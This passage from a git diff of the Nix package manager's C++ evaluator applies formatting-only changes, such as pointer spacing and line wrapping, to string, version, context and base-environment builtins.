to builtins.substring") + .value; // Negative length may be idiomatically passed to builtins.substring to get // the tail of the string. @@ -4100,7 +4222,8 @@ static void prim_substring(EvalState & state, const PosIdx pos, Value * * args, } NixStringContext context; - auto s = state.coerceToString(pos, *args[2], context, "while evaluating the third argument (the string) passed to builtins.substring"); + auto s = state.coerceToString( + pos, *args[2], context, "while evaluating the third argument (the string) passed to builtins.substring"); v.mkString((unsigned int) start >= s->size() ? "" : s->substr(start, len), context); } @@ -4126,10 +4249,11 @@ static RegisterPrimOp primop_substring({ .fun = prim_substring, }); -static void prim_stringLength(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_stringLength(EvalState & state, const PosIdx pos, Value ** args, Value & v) { NixStringContext context; - auto s = state.coerceToString(pos, *args[0], context, "while evaluating the argument passed to builtins.stringLength"); + auto s = + state.coerceToString(pos, *args[0], context, "while evaluating the argument passed to builtins.stringLength"); v.mkInt(NixInt::Inner(s->size())); } @@ -4144,15 +4268,17 @@ static RegisterPrimOp primop_stringLength({ }); /* Return the cryptographic hash of a string in base-16. */ -static void prim_hashString(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_hashString(EvalState & state, const PosIdx pos, Value ** args, Value & v) { - auto algo = state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.hashString"); + auto algo = + state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.hashString"); std::optional ha = parseHashAlgo(algo); if (!ha) state.error("unknown hash algorithm '%1%'", algo).atPos(pos).debugThrow(); NixStringContext context; // discarded - auto s = state.forceString(*args[1], context, pos, "while evaluating the second argument passed to builtins.hashString"); + auto s = + state.forceString(*args[1], context, pos, "while evaluating the second argument passed to builtins.hashString"); v.mkString(hashString(*ha, s).to_string(HashFormat::Base16, false)); } @@ -4168,7 +4294,7 @@ static RegisterPrimOp primop_hashString({ .fun = prim_hashString, }); -static void prim_convertHash(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_convertHash(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceAttrs(*args[0], pos, "while evaluating the first argument passed to builtins.convertHash"); auto inputAttrs = args[0]->attrs(); @@ -4179,10 +4305,13 @@ static void prim_convertHash(EvalState & state, const PosIdx pos, Value * * args auto iteratorHashAlgo = inputAttrs->get(state.symbols.create("hashAlgo")); std::optional ha = std::nullopt; if (iteratorHashAlgo) - ha = parseHashAlgo(state.forceStringNoCtx(*iteratorHashAlgo->value, pos, "while evaluating the attribute 'hashAlgo'")); + ha = parseHashAlgo( + state.forceStringNoCtx(*iteratorHashAlgo->value, pos, "while evaluating the attribute 'hashAlgo'")); - auto iteratorToHashFormat = getAttr(state, state.symbols.create("toHashFormat"), args[0]->attrs(), "while locating the attribute 'toHashFormat'"); - HashFormat hf = parseHashFormat(state.forceStringNoCtx(*iteratorToHashFormat->value, pos, "while evaluating the attribute 'toHashFormat'")); + auto iteratorToHashFormat = getAttr( + state, state.symbols.create("toHashFormat"), args[0]->attrs(), "while locating the attribute 'toHashFormat'"); + HashFormat hf = parseHashFormat( + state.forceStringNoCtx(*iteratorToHashFormat->value, pos, "while evaluating the attribute 'toHashFormat'")); v.mkString(Hash::parseAny(hash, ha).to_string(hf, hf == HashFormat::SRI)); } @@ -4281,7 +4410,8 @@ struct RegexCache if (it != state->cache.end()) return it->second; state->keys.emplace_back(re); - return state->cache.emplace(state->keys.back(), std::regex(state->keys.back(), std::regex::extended)).first->second; + return state->cache.emplace(state->keys.back(), std::regex(state->keys.back(), std::regex::extended)) + .first->second; } }; @@ -4290,7 +4420,7 @@ std::shared_ptr makeRegexCache() return std::make_shared(); } -void prim_match(EvalState & state, const PosIdx pos, Value * * args, Value & v) +void prim_match(EvalState & state, const PosIdx pos, Value ** args, Value & v) { auto re = state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.match"); @@ -4299,7 +4429,8 @@ void prim_match(EvalState & state, const PosIdx pos, Value * * args, Value & v) auto regex = state.regexCache->get(re); NixStringContext context; - const auto str = state.forceString(*args[1], context, pos, "while evaluating the second argument passed to builtins.match"); + const auto str = + state.forceString(*args[1], context, pos, "while evaluating the second argument passed to builtins.match"); std::cmatch match; if (!std::regex_match(str.begin(), str.end(), match, regex)) { @@ -4319,13 +4450,9 @@ void prim_match(EvalState & state, const PosIdx pos, Value * * args, Value & v) } catch (std::regex_error & e) { if (e.code() == std::regex_constants::error_space) { // limit is _GLIBCXX_REGEX_STATE_LIMIT for libstdc++ - state.error("memory limit exceeded by regular expression '%s'", re) - .atPos(pos) - .debugThrow(); + state.error("memory limit exceeded by regular expression '%s'", re).atPos(pos).debugThrow(); } else - state.error("invalid regular expression '%s'", re) - .atPos(pos) - .debugThrow(); + state.error("invalid regular expression '%s'", re).atPos(pos).debugThrow(); } } @@ -4367,7 +4494,7 @@ static RegisterPrimOp primop_match({ /* Split a string with a regular expression, and return a list of the non-matching parts interleaved by the lists of the matching groups. */ -void prim_split(EvalState & state, const PosIdx pos, Value * * args, Value & v) +void prim_split(EvalState & state, const PosIdx pos, Value ** args, Value & v) { auto re = state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.split"); @@ -4376,7 +4503,8 @@ void prim_split(EvalState & state, const PosIdx pos, Value * * args, Value & v) auto regex = state.regexCache->get(re); NixStringContext context; - const auto str = state.forceString(*args[1], context, pos, "while evaluating the second argument passed to builtins.split"); + const auto str = + state.forceString(*args[1], context, pos, "while evaluating the second argument passed to builtins.split"); auto begin = std::cregex_iterator(str.begin(), str.end(), regex); auto end = std::cregex_iterator(); @@ -4425,13 +4553,9 @@ void prim_split(EvalState & state, const PosIdx pos, Value * * args, Value & v) } catch (std::regex_error & e) { if (e.code() == std::regex_constants::error_space) { // limit is _GLIBCXX_REGEX_STATE_LIMIT for libstdc++ - state.error("memory limit exceeded by regular expression '%s'", re) - .atPos(pos) - .debugThrow(); + state.error("memory limit exceeded by regular expression '%s'", re).atPos(pos).debugThrow(); } else - state.error("invalid regular expression '%s'", re) - .atPos(pos) - .debugThrow(); + state.error("invalid regular expression '%s'", re).atPos(pos).debugThrow(); } } @@ -4472,20 +4596,34 @@ static RegisterPrimOp primop_split({ .fun = prim_split, }); -static void prim_concatStringsSep(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_concatStringsSep(EvalState & state, const PosIdx pos, Value ** args, Value & v) { NixStringContext context; - auto sep = state.forceString(*args[0], context, pos, "while evaluating the first argument (the separator string) passed to builtins.concatStringsSep"); - state.forceList(*args[1], pos, "while evaluating the second argument (the list of strings to concat) passed to builtins.concatStringsSep"); + auto sep = state.forceString( + *args[0], + context, + pos, + "while evaluating the first argument (the separator string) passed to builtins.concatStringsSep"); + state.forceList( + *args[1], + pos, + "while evaluating the second argument (the list of strings to concat) passed to builtins.concatStringsSep"); std::string res; res.reserve((args[1]->listSize() + 32) * sep.size()); bool first = true; for (auto elem : args[1]->listItems()) { - if (first) first = false; else res += sep; - res += *state.coerceToString(pos, *elem, context, "while evaluating one element of the list of strings to concat passed to builtins.concatStringsSep"); + if (first) + first = false; + else + res += sep; + res += *state.coerceToString( + pos, + *elem, + context, + "while evaluating one element of the list of strings to concat passed to builtins.concatStringsSep"); } v.mkString(res, context); @@ -4502,29 +4640,31 @@ static RegisterPrimOp primop_concatStringsSep({ .fun = prim_concatStringsSep, }); -static void prim_replaceStrings(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_replaceStrings(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceList(*args[0], pos, "while evaluating the first argument passed to builtins.replaceStrings"); state.forceList(*args[1], pos, "while evaluating the second argument passed to builtins.replaceStrings"); if (args[0]->listSize() != args[1]->listSize()) - state.error( - "'from' and 'to' arguments passed to builtins.replaceStrings have different lengths" - ).atPos(pos).debugThrow(); + state.error("'from' and 'to' arguments passed to builtins.replaceStrings have different lengths") + .atPos(pos) + .debugThrow(); std::vector from; from.reserve(args[0]->listSize()); for (auto elem : args[0]->listItems()) - from.emplace_back(state.forceString(*elem, pos, "while evaluating one of the strings to replace passed to builtins.replaceStrings")); + from.emplace_back(state.forceString( + *elem, pos, "while evaluating one of the strings to replace passed to builtins.replaceStrings")); std::unordered_map cache; auto to = args[1]->listItems(); NixStringContext context; - auto s = state.forceString(*args[2], context, pos, "while evaluating the third argument passed to builtins.replaceStrings"); + auto s = state.forceString( + *args[2], context, pos, "while evaluating the third argument passed to builtins.replaceStrings"); std::string res; // Loops one past last character to handle the case where 'from' contains an empty string. - for (size_t p = 0; p <= s.size(); ) { + for (size_t p = 0; p <= s.size();) { bool found = false; auto i = from.begin(); auto j = to.begin(); @@ -4535,9 +4675,13 @@ static void prim_replaceStrings(EvalState & state, const PosIdx pos, Value * * a auto v = cache.find(j_index); if (v == cache.end()) { NixStringContext ctx; - auto ts = state.forceString(**j, ctx, pos, "while evaluating one of the replacement strings passed to builtins.replaceStrings"); + auto ts = state.forceString( + **j, + ctx, + pos, + "while evaluating one of the replacement strings passed to builtins.replaceStrings"); v = (cache.emplace(j_index, ts)).first; - for (auto& path : ctx) + for (auto & path : ctx) context.insert(path); } res += v->second; @@ -4580,15 +4724,14 @@ static RegisterPrimOp primop_replaceStrings({ .fun = prim_replaceStrings, }); - /************************************************************* * Versions *************************************************************/ - -static void prim_parseDrvName(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_parseDrvName(EvalState & state, const PosIdx pos, Value ** args, Value & v) { - auto name = state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.parseDrvName"); + auto name = + state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.parseDrvName"); DrvName parsed(name); auto attrs = state.buildBindings(2); attrs.alloc(state.sName).mkString(parsed.name); @@ -4610,10 +4753,12 @@ static RegisterPrimOp primop_parseDrvName({ .fun = prim_parseDrvName, }); -static void prim_compareVersions(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_compareVersions(EvalState & state, const PosIdx pos, Value ** args, Value & v) { - auto version1 = state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.compareVersions"); - auto version2 = state.forceStringNoCtx(*args[1], pos, "while evaluating the second argument passed to builtins.compareVersions"); + auto version1 = + state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.compareVersions"); + auto version2 = state.forceStringNoCtx( + *args[1], pos, "while evaluating the second argument passed to builtins.compareVersions"); auto result = compareVersions(version1, version2); v.mkInt(result < 0 ? -1 : result > 0 ? 1 : 0); } @@ -4631,9 +4776,10 @@ static RegisterPrimOp primop_compareVersions({ .fun = prim_compareVersions, }); -static void prim_splitVersion(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_splitVersion(EvalState & state, const PosIdx pos, Value ** args, Value & v) { - auto version = state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.splitVersion"); + auto version = + state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.splitVersion"); auto iter = version.cbegin(); Strings components; while (iter != version.cend()) { @@ -4659,22 +4805,19 @@ static RegisterPrimOp primop_splitVersion({ .fun = prim_splitVersion, }); - /************************************************************* * Primop registration *************************************************************/ - RegisterPrimOp::PrimOps * RegisterPrimOp::primOps; - RegisterPrimOp::RegisterPrimOp(PrimOp && primOp) { - if (!primOps) primOps = new PrimOps; + if (!primOps) + primOps = new PrimOps; primOps->push_back(std::move(primOp)); } - void EvalState::createBaseEnv(const EvalSettings & evalSettings) { baseEnv.up = 0; @@ -4684,9 +4827,12 @@ void EvalState::createBaseEnv(const EvalSettings & evalSettings) /* `builtins' must be first! */ v.mkAttrs(buildBindings(128).finish()); - addConstant("builtins", v, { - .type = nAttrs, - .doc = R"( + addConstant( + "builtins", + v, + { + .type = nAttrs, + .doc = R"( Contains all the built-in functions and values. Since built-in functions were added over time, [testing for attributes](./operators.md#has-attribute) in `builtins` can be used for graceful fallback on older Nix installations: @@ -4696,12 +4842,15 @@ void EvalState::createBaseEnv(const EvalSettings & evalSettings) if builtins ? hasContext then builtins.hasContext s else true ``` )", - }); + }); v.mkBool(true); - addConstant("true", v, { - .type = nBool, - .doc = R"( + addConstant( + "true", + v, + { + .type = nBool, + .doc = R"( Primitive value. It can be returned by @@ -4716,12 +4865,15 @@ void EvalState::createBaseEnv(const EvalSettings & evalSettings) 1 ``` )", - }); + }); v.mkBool(false); - addConstant("false", v, { - .type = nBool, - .doc = R"( + addConstant( + "false", + v, + { + .type = nBool, + .doc = R"( Primitive value. It can be returned by @@ -4736,11 +4888,14 @@ void EvalState::createBaseEnv(const EvalSettings & evalSettings) 1 ``` )", - }); + }); - addConstant("null", &vNull, { - .type = nNull, - .doc = R"( + addConstant( + "null", + &vNull, + { + .type = nNull, + .doc = R"( Primitive value. The name `null` is not special, and can be shadowed: @@ -4750,14 +4905,17 @@ void EvalState::createBaseEnv(const EvalSettings & evalSettings) 1 ``` )", - }); + }); if (!settings.pureEval) { v.mkInt(time(0)); } - addConstant("__currentTime", v, { - .type = nInt, - .doc = R"( + addConstant( + "__currentTime", + v, + { + .type = nInt, + .doc = R"( Return the [Unix time](https://en.wikipedia.org/wiki/Unix_time) at first evaluation. Repeated references to that name will re-use the initially obtained value. @@ -4776,14 +4934,17 @@ void EvalState::createBaseEnv(const EvalSettings & evalSettings) The [store path](@docroot@/store/store-path.md) of a derivation depending on `currentTime` will differ for each evaluation, unless both evaluate `builtins.currentTime` in the same second. )", - .impureOnly = true, - }); + .impureOnly = true, + }); if (!settings.pureEval) v.mkString(settings.getCurrentSystem()); - addConstant("__currentSystem", v, { - .type = nString, - .doc = R"( + addConstant( + "__currentSystem", + v, + { + .type = nString, + .doc = R"( The value of the [`eval-system`](@docroot@/command-ref/conf-file.md#conf-eval-system) or else @@ -4806,13 +4967,16 @@ void EvalState::createBaseEnv(const EvalSettings & evalSettings) "mips64-linux" ``` )", - .impureOnly = true, - }); + .impureOnly = true, + }); v.mkString(nixVersion); - addConstant("__nixVersion", v, { - .type = nString, - .doc = R"( + addConstant( + "__nixVersion", + v, + { + .type = nString, + .doc = R"( The version of Nix. For example, where the command line returns the current Nix version, @@ -4829,12 +4993,15 @@ void EvalState::createBaseEnv(const EvalSettings & evalSettings) "2.16.0" ``` )", - }); + }); v.mkString(store->storeDir); - addConstant("__storeDir", v, { - .type = nString, - .doc = R"( + addConstant( + "__storeDir", + v, + { + .type = nString, + .doc = R"( Logical file system location of the [Nix store](@docroot@/glossary.md#gloss-store) currently in use. This value is determined by the `store` parameter in [Store URLs](@docroot@/store/types/index.md#store-url-format): @@ -4844,19 +5011,22 @@ void EvalState::createBaseEnv(const EvalSettings & evalSettings) "/blah" ``` )", - }); + }); /* Language version. This should be increased every time a new language feature gets added. It's not necessary to increase it when primops get added, because you can just use `builtins ? primOp' to check. */ v.mkInt(6); - addConstant("__langVersion", v, { - .type = nInt, - .doc = R"( + addConstant( + "__langVersion", + v, + { + .type = nInt, + .doc = R"( The current version of the Nix language. )", - }); + }); #ifndef _WIN32 // TODO implement on Windows // Miscellaneous @@ -4876,7 +5046,7 @@ void EvalState::createBaseEnv(const EvalSettings & evalSettings) addPrimOp({ .name = "__traceVerbose", - .args = { "e1", "e2" }, + .args = {"e1", "e2"}, .arity = 2, .doc = R"( Evaluate *e1* and print its abstract syntax representation on standard @@ -4895,9 +5065,12 @@ void EvalState::createBaseEnv(const EvalSettings & evalSettings) (list[n] = allocValue())->mkAttrs(attrs); } v.mkList(list); - addConstant("__nixPath", v, { - .type = nList, - .doc = R"( + addConstant( + "__nixPath", + v, + { + .type = nList, + .doc = R"( A list of search path entries used to resolve [lookup paths](@docroot@/language/constructs/lookup-path.md). Its value is primarily determined by the [`nix-path` configuration setting](@docroot@/command-ref/conf-file.md#conf-nix-path), which are - Overridden by the [`NIX_PATH`](@docroot@/command-ref/env-common.md#env-NIX_PATH) environment variable or the `--nix-path` option @@ -4923,12 +5096,11 @@ void EvalState::createBaseEnv(const EvalSettings & evalSettings) builtins.findFile builtins.nixPath "nixpkgs" ``` )", - }); + }); if (RegisterPrimOp::primOps) for (auto & primOp : *RegisterPrimOp::primOps) - if (experimentalFeatureSettings.isEnabled(primOp.experimentalFeature)) - { + if (experimentalFeatureSettings.isEnabled(primOp.experimentalFeature)) { auto primOpAdjusted = primOp; primOpAdjusted.arity = std::max(primOp.args.size(), primOp.arity); addPrimOp(std::move(primOpAdjusted)); @@ -4946,9 +5118,12 @@ void EvalState::createBaseEnv(const EvalSettings & evalSettings) Null docs because it is documented separately. */ auto vDerivation = allocValue(); - addConstant("derivation", vDerivation, { - .type = nFunction, - }); + addConstant( + "derivation", + vDerivation, + { + .type = nFunction, + }); /* Now that we've added all primops, sort the `builtins' set, because attribute lookups expect it to be sorted. */ @@ -4961,5 +5136,4 @@ void EvalState::createBaseEnv(const EvalSettings & evalSettings) evalFile(derivationInternal, *vDerivation); } - } diff --git a/src/libexpr/primops/context.cc b/src/libexpr/primops/context.cc index 6a7284e05..f99b672a8 100644 --- a/src/libexpr/primops/context.cc +++ b/src/libexpr/primops/context.cc @@ -5,10 +5,11 @@ namespace nix { -static void prim_unsafeDiscardStringContext(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_unsafeDiscardStringContext(EvalState & state, const PosIdx pos, Value ** args, Value & v) { NixStringContext context; - auto s = state.coerceToString(pos, *args[0], context, "while evaluating the argument passed to builtins.unsafeDiscardStringContext"); + auto s = state.coerceToString( + pos, *args[0], context, "while evaluating the argument passed to builtins.unsafeDiscardStringContext"); v.mkString(*s); } @@ -21,18 +22,17 @@ static RegisterPrimOp primop_unsafeDiscardStringContext({ .fun = prim_unsafeDiscardStringContext, }); - -static void prim_hasContext(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_hasContext(EvalState & state, const PosIdx pos, Value ** args, Value & v) { NixStringContext context; state.forceString(*args[0], context, pos, "while evaluating the argument passed to builtins.hasContext"); v.mkBool(!context.empty()); } -static RegisterPrimOp primop_hasContext({ - .name = "__hasContext", - .args = {"s"}, - .doc = R"( +static RegisterPrimOp primop_hasContext( + {.name = "__hasContext", + .args = {"s"}, + .doc = R"( Return `true` if string *s* has a non-empty context. The context can be obtained with [`getContext`](#builtins-getContext). @@ -50,21 +50,18 @@ static RegisterPrimOp primop_hasContext({ > else { ${name} = meta; } > ``` )", - .fun = prim_hasContext -}); + .fun = prim_hasContext}); - -static void prim_unsafeDiscardOutputDependency(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_unsafeDiscardOutputDependency(EvalState & state, const PosIdx pos, Value ** args, Value & v) { NixStringContext context; - auto s = state.coerceToString(pos, *args[0], context, "while evaluating the argument passed to builtins.unsafeDiscardOutputDependency"); + auto s = state.coerceToString( + pos, *args[0], context, "while evaluating the argument passed to builtins.unsafeDiscardOutputDependency"); NixStringContext context2; for (auto && c : context) { if (auto * ptr = std::get_if(&c.raw)) { - context2.emplace(NixStringContextElem::Opaque { - .path = ptr->drvPath - }); + context2.emplace(NixStringContextElem::Opaque{.path = ptr->drvPath}); } else { /* Can reuse original item */ context2.emplace(std::move(c).raw); @@ -74,10 +71,10 @@ static void prim_unsafeDiscardOutputDependency(EvalState & state, const PosIdx p v.mkString(*s, context2); } -static RegisterPrimOp primop_unsafeDiscardOutputDependency({ - .name = "__unsafeDiscardOutputDependency", - .args = {"s"}, - .doc = R"( +static RegisterPrimOp primop_unsafeDiscardOutputDependency( + {.name = "__unsafeDiscardOutputDependency", + .args = {"s"}, + .doc = R"( Create a copy of the given string where every [derivation deep](@docroot@/language/string-context.md#string-context-element-derivation-deep) string context element is turned into a @@ -94,58 +91,58 @@ static RegisterPrimOp primop_unsafeDiscardOutputDependency({ [`builtins.addDrvOutputDependencies`]: #builtins-addDrvOutputDependencies )", - .fun = prim_unsafeDiscardOutputDependency -}); + .fun = prim_unsafeDiscardOutputDependency}); - -static void prim_addDrvOutputDependencies(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_addDrvOutputDependencies(EvalState & state, const PosIdx pos, Value ** args, Value & v) { NixStringContext context; - auto s = state.coerceToString(pos, *args[0], context, "while evaluating the argument passed to builtins.addDrvOutputDependencies"); + auto s = state.coerceToString( + pos, *args[0], context, "while evaluating the argument passed to builtins.addDrvOutputDependencies"); - auto contextSize = context.size(); + auto contextSize = context.size(); if (contextSize != 1) { - state.error( - "context of string '%s' must have exactly one element, but has %d", - *s, - contextSize - ).atPos(pos).debugThrow(); + state.error("context of string '%s' must have exactly one element, but has %d", *s, contextSize) + .atPos(pos) + .debugThrow(); } - NixStringContext context2 { - (NixStringContextElem { std::visit(overloaded { - [&](const NixStringContextElem::Opaque & c) -> NixStringContextElem::DrvDeep { - if (!c.path.isDerivation()) { - state.error( - "path '%s' is not a derivation", - state.store->printStorePath(c.path) - ).atPos(pos).debugThrow(); - } - return NixStringContextElem::DrvDeep { - .drvPath = c.path, - }; + NixStringContext context2{ + (NixStringContextElem{std::visit( + overloaded{ + [&](const NixStringContextElem::Opaque & c) -> NixStringContextElem::DrvDeep { + if (!c.path.isDerivation()) { + state.error("path '%s' is not a derivation", state.store->printStorePath(c.path)) + .atPos(pos) + .debugThrow(); + } + return NixStringContextElem::DrvDeep{ + .drvPath = c.path, + }; + }, + [&](const NixStringContextElem::Built & c) -> NixStringContextElem::DrvDeep { + state + .error( + "`addDrvOutputDependencies` can only act on derivations, not on a derivation output such as '%1%'", + c.output) + .atPos(pos) + .debugThrow(); + }, + [&](const NixStringContextElem::DrvDeep & c) -> NixStringContextElem::DrvDeep { + /* Reuse original item because we want this to be idempotent. */ + /* FIXME: Suspicious move out of const. This is actually a copy, so the comment + above does not make much sense. */ + return std::move(c); + }, }, - [&](const NixStringContextElem::Built & c) -> NixStringContextElem::DrvDeep { - state.error( - "`addDrvOutputDependencies` can only act on derivations, not on a derivation output such as '%1%'", - c.output - ).atPos(pos).debugThrow(); - }, - [&](const NixStringContextElem::DrvDeep & c) -> NixStringContextElem::DrvDeep { - /* Reuse original item because we want this to be idempotent. */ - /* FIXME: Suspicious move out of const. This is actually a copy, so the comment - above does not make much sense. */ - return std::move(c); - }, - }, context.begin()->raw) }), + context.begin()->raw)}), }; v.mkString(*s, context2); } -static RegisterPrimOp primop_addDrvOutputDependencies({ - .name = "__addDrvOutputDependencies", - .args = {"s"}, - .doc = R"( +static RegisterPrimOp primop_addDrvOutputDependencies( + {.name = "__addDrvOutputDependencies", + .args = {"s"}, + .doc = R"( Create a copy of the given string where a single [constant](@docroot@/language/string-context.md#string-context-element-constant) string context element is turned into a @@ -159,9 +156,7 @@ static RegisterPrimOp primop_addDrvOutputDependencies({ This is the opposite of [`builtins.unsafeDiscardOutputDependency`](#builtins-unsafeDiscardOutputDependency). )", - .fun = prim_addDrvOutputDependencies -}); - + .fun = prim_addDrvOutputDependencies}); /* Extract the context of a string as a structured Nix value. @@ -182,9 +177,10 @@ static RegisterPrimOp primop_addDrvOutputDependencies({ Note that for a given path any combination of the above attributes may be present. */ -static void prim_getContext(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_getContext(EvalState & state, const PosIdx pos, Value ** args, Value & v) { - struct ContextInfo { + struct ContextInfo + { bool path = false; bool allOutputs = false; Strings outputs; @@ -193,20 +189,18 @@ static void prim_getContext(EvalState & state, const PosIdx pos, Value * * args, state.forceString(*args[0], context, pos, "while evaluating the argument passed to builtins.getContext"); auto contextInfos = std::map(); for (auto && i : context) { - std::visit(overloaded { - [&](NixStringContextElem::DrvDeep && d) { - contextInfos[std::move(d.drvPath)].allOutputs = true; + std::visit( + overloaded{ + [&](NixStringContextElem::DrvDeep && d) { contextInfos[std::move(d.drvPath)].allOutputs = true; }, + [&](NixStringContextElem::Built && b) { + // FIXME should eventually show string context as is, no + // resolving here. + auto drvPath = resolveDerivedPath(*state.store, *b.drvPath); + contextInfos[std::move(drvPath)].outputs.emplace_back(std::move(b.output)); + }, + [&](NixStringContextElem::Opaque && o) { contextInfos[std::move(o.path)].path = true; }, }, - [&](NixStringContextElem::Built && b) { - // FIXME should eventually show string context as is, no - // resolving here. - auto drvPath = resolveDerivedPath(*state.store, *b.drvPath); - contextInfos[std::move(drvPath)].outputs.emplace_back(std::move(b.output)); - }, - [&](NixStringContextElem::Opaque && o) { - contextInfos[std::move(o.path)].path = true; - }, - }, ((NixStringContextElem &&) i).raw); + ((NixStringContextElem &&) i).raw); } auto attrs = state.buildBindings(contextInfos.size()); @@ -231,10 +225,10 @@ static void prim_getContext(EvalState & state, const PosIdx pos, Value * * args, v.mkAttrs(attrs); } -static RegisterPrimOp primop_getContext({ - .name = "__getContext", - .args = {"s"}, - .doc = R"( +static RegisterPrimOp primop_getContext( + {.name = "__getContext", + .args = {"s"}, + .doc = R"( Return the string context of *s*. The string context tracks references to derivations within a string. @@ -253,19 +247,18 @@ static RegisterPrimOp primop_getContext({ { "/nix/store/arhvjaf6zmlyn8vh8fgn55rpwnxq0n7l-a.drv" = { outputs = [ "out" ]; }; } ``` )", - .fun = prim_getContext -}); - + .fun = prim_getContext}); /* Append the given context to a given string. See the commentary above getContext for details of the context representation. */ -static void prim_appendContext(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_appendContext(EvalState & state, const PosIdx pos, Value ** args, Value & v) { NixStringContext context; - auto orig = state.forceString(*args[0], context, noPos, "while evaluating the first argument passed to builtins.appendContext"); + auto orig = state.forceString( + *args[0], context, noPos, "while evaluating the first argument passed to builtins.appendContext"); state.forceAttrs(*args[1], pos, "while evaluating the second argument passed to builtins.appendContext"); @@ -274,10 +267,7 @@ static void prim_appendContext(EvalState & state, const PosIdx pos, Value * * ar for (auto & i : *args[1]->attrs()) { const auto & name = state.symbols[i.name]; if (!state.store->isStorePath(name)) - state.error( - "context key '%s' is not a store path", - name - ).atPos(i.pos).debugThrow(); + state.error("context key '%s' is not a store path", name).atPos(i.pos).debugThrow(); auto namePath = state.store->parseStorePath(name); if (!settings.readOnlyMode) state.store->ensurePath(namePath); @@ -285,39 +275,46 @@ static void prim_appendContext(EvalState & state, const PosIdx pos, Value * * ar if (auto attr = i.value->attrs()->get(sPath)) { if (state.forceBool(*attr->value, attr->pos, "while evaluating the `path` attribute of a string context")) - context.emplace(NixStringContextElem::Opaque { - .path = namePath, - }); + context.emplace( + NixStringContextElem::Opaque{ + .path = namePath, + }); } if (auto attr = i.value->attrs()->get(sAllOutputs)) { - if (state.forceBool(*attr->value, attr->pos, "while evaluating the `allOutputs` attribute of a string context")) { + if (state.forceBool( + *attr->value, attr->pos, "while evaluating the `allOutputs` attribute of a string context")) { if (!isDerivation(name)) { - state.error( - "tried to add all-outputs context of %s, which is not a derivation, to a string", - name - ).atPos(i.pos).debugThrow(); + state + .error( + "tried to add all-outputs context of %s, which is not a derivation, to a string", name) + .atPos(i.pos) + .debugThrow(); } - context.emplace(NixStringContextElem::DrvDeep { - .drvPath = namePath, - }); + context.emplace( + NixStringContextElem::DrvDeep{ + .drvPath = namePath, + }); } } if (auto attr = i.value->attrs()->get(state.sOutputs)) { state.forceList(*attr->value, attr->pos, "while evaluating the `outputs` attribute of a string context"); if (attr->value->listSize() && !isDerivation(name)) { - state.error( - "tried to add derivation output context of %s, which is not a derivation, to a string", - name - ).atPos(i.pos).debugThrow(); + state + .error( + "tried to add derivation output context of %s, which is not a derivation, to a string", name) + .atPos(i.pos) + .debugThrow(); } for (auto elem : attr->value->listItems()) { - auto outputName = state.forceStringNoCtx(*elem, attr->pos, "while evaluating an output name within a string context"); - context.emplace(NixStringContextElem::Built { - .drvPath = makeConstantStorePathRef(namePath), - .output = std::string { outputName }, - }); + auto outputName = + state.forceStringNoCtx(*elem, attr->pos, "while evaluating an output name within a string context"); + context.emplace( + NixStringContextElem::Built{ + .drvPath = makeConstantStorePathRef(namePath), + .output = std::string{outputName}, + }); } } } @@ -325,10 +322,6 @@ static void prim_appendContext(EvalState & state, const PosIdx pos, Value * * ar v.mkString(orig, context); } -static RegisterPrimOp primop_appendContext({ - .name = "__appendContext", - .arity = 2, - .fun = prim_appendContext -}); +static RegisterPrimOp primop_appendContext({.name = "__appendContext", .arity = 2, .fun = prim_appendContext}); } diff --git a/src/libexpr/primops/fetchClosure.cc b/src/libexpr/primops/fetchClosure.cc index d28680ae5..667341a52 100644 --- a/src/libexpr/primops/fetchClosure.cc +++ b/src/libexpr/primops/fetchClosure.cc @@ -15,29 +15,35 @@ namespace nix { * @param toPathMaybe Path to write the rewritten path to. If empty, the error shows the actual path. * @param v Return `Value` */ -static void runFetchClosureWithRewrite(EvalState & state, const PosIdx pos, Store & fromStore, const StorePath & fromPath, const std::optional & toPathMaybe, Value &v) { +static void runFetchClosureWithRewrite( + EvalState & state, + const PosIdx pos, + Store & fromStore, + const StorePath & fromPath, + const std::optional & toPathMaybe, + Value & v) +{ // establish toPath or throw if (!toPathMaybe || !state.store->isValidPath(*toPathMaybe)) { auto rewrittenPath = makeContentAddressed(fromStore, *state.store, fromPath); if (toPathMaybe && *toPathMaybe != rewrittenPath) - throw Error({ - .msg = HintFmt("rewriting '%s' to content-addressed form yielded '%s', while '%s' was expected", - state.store->printStorePath(fromPath), - state.store->printStorePath(rewrittenPath), - state.store->printStorePath(*toPathMaybe)), - .pos = state.positions[pos] - }); + throw Error( + {.msg = HintFmt( + "rewriting '%s' to content-addressed form yielded '%s', while '%s' was expected", + state.store->printStorePath(fromPath), + state.store->printStorePath(rewrittenPath), + state.store->printStorePath(*toPathMaybe)), + .pos = state.positions[pos]}); if (!toPathMaybe) - throw Error({ - .msg = HintFmt( - "rewriting '%s' to content-addressed form yielded '%s'\n" - "Use this value for the 'toPath' attribute passed to 'fetchClosure'", - state.store->printStorePath(fromPath), - state.store->printStorePath(rewrittenPath)), 